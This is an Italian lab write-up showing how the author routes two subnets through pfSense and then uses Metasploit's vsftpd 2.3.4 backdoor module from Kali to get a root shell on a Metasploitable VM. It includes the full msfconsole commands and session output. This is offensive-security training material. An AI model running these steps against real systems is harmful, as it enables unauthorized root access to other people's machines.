

HACKING CON METASPLOIT

L'esercizio di oggi ci chiede di attaccare tramite il tool Metasploit, la macchina Metasploitable che però si trova su una rete diversa da quella dell'attaccante; come prima cosa quindi andiamo a cambiare l'indirizzo IP di Metasploitable così come riportato in figura:

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

[ Read 16 lines ]
^G Get Help  ^O WriteOut  ^R Read File  ^V Prev Page  ^K Cut Text   ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is   ^U Next Page  ^U UnCut Text ^T To Spell
```

METASPLOITABLE: 192.168.1.149
PFSense: 192.168.32.1 LAN1 --- 192.168.1.1 LAN2
KALI: 192.168.32.100

Come possiamo vedere sopra, queste saranno le nostre interfacce di rete per l'esercizio; per poter far comunicare le 2 reti diverse, ho usato PFSense che, come già sappiamo, ha funzioni di routing oltre che di firewall.

Nell'immagine in basso vediamo anche la configurazione di PFSense:

```
*** Welcome to pfSense 2.6.0-RELEASE (amd64) on pfSense ***

WAN (wan)      -> em0      -> v4/DHCP4: 10.0.2.15/24
LAN1 (lan)     -> em1      -> v4: 192.168.32.1/24
LAN2 (opt1)    -> em2      -> v4: 192.168.1.1/24

0) Logout (SSH only)          9) pfTop
1) Assign Interfaces          10) Filter Logs
2) Set interface(s) IP address 11) Restart webConfigurator
3) Reset webConfigurator password 12) PHP shell + pfSense tools
4) Reset to factory defaults   13) Update from console
5) Reboot system              14) Enable Secure Shell (sshd)
6) Halt system                15) Restore recent configuration
7) Ping host                  16) Restart PHP-FPM
8) Shell

Enter an option:
Message from syslogd@pfSense at Dec  5 15:26:07 ...
php-fpm[3661]: /index.php: Successful login for user 'admin' from: 192.168.32.100
(Local Database)

Message from syslogd@pfSense at Dec  5 15:30:59 ...
php-fpm[3651]: /index.php: Successful login for user 'admin' from: 192.168.32.100
(Local Database)
```

Avviamo Metasploit da terminale Kali con il comando `msfconsole`; come nell'esercitazione guidata cerchiamo un' eventuale vulnerabilità con il comando `search vsftpd` e, una volta trovato, lanciamola con il comando `set` seguito o dal numero dell' exploit, o dal percorso completo; fatto ciò lanciamo il comando `show options` per capire quali parametri vanno settati:

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank   Check  Description
-  -                                     -              -   -   -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdh::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdh::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdh::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdh::EcdsaSha2Nistp256::IDENTIFIER
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               yes       The target port (TCP)
```

Una volta inserito l'indirizzo IP della macchina da attaccare con il comando `set RHOSTS 192.168.1.149` (IP di Metasploitable), facciamo partire l'exploit con, appunto, il comando `exploit`:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[-] 192.168.1.149:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.1.149:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

Il primo lancio dell'exploit non è riuscito a creare una sessione per via delle regole del firewall PFSENSE; sono andato quindi a crearne una che permettesse la comunicazione tra i 2 indirizzi IP e ho rilanciato l'exploit che, questa volta, è andato a buon fine.

Per completare l'esercitazione ho creato una directory di nome test_metasploit nella directory root come possiamo vedere dall'immagine in basso:

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.32.100:43481 → 192.168.1.149:6200) at 2022-12-05 09:42:02 -0500

pwd
/
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

```
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

[ Wrote 17 lines ]

msfadmin@metasploitable:~$ cd
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ cd ../
msfadmin@metasploitable:/home$ cd ../
msfadmin@metasploitable:/ $ pwd
/
msfadmin@metasploitable:/ $ ls
bin  dev  initrd  lost+found  nohup.out  root  sys  usr
boot  etc  initrd.img  media  opt  sbin  test_metasploit  var
cdrom  home  lib  mnt  proc  srv  tmp  vmlinuz
msfadmin@metasploitable:/ $
```